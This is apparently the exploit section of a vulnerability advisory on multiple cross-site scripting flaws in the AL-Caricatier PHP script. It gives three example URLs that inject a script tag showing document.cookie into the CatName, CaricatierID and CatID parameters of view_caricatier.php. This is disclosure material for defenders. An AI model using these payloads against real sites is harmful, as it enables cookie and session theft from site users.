• info
• discussion
• exploit
• solution
• references

AL-Caricatier Multiple Cross-Site Scripting Vulnerabilities



An exploit is not required.

Examples have been provided:

http://example.com/AL-Caricatier/view_caricatier.php?CatName='><script>alert(document.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CaricatierID='><script>alert(document.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CatID='><script>alert(document.cookie);</script>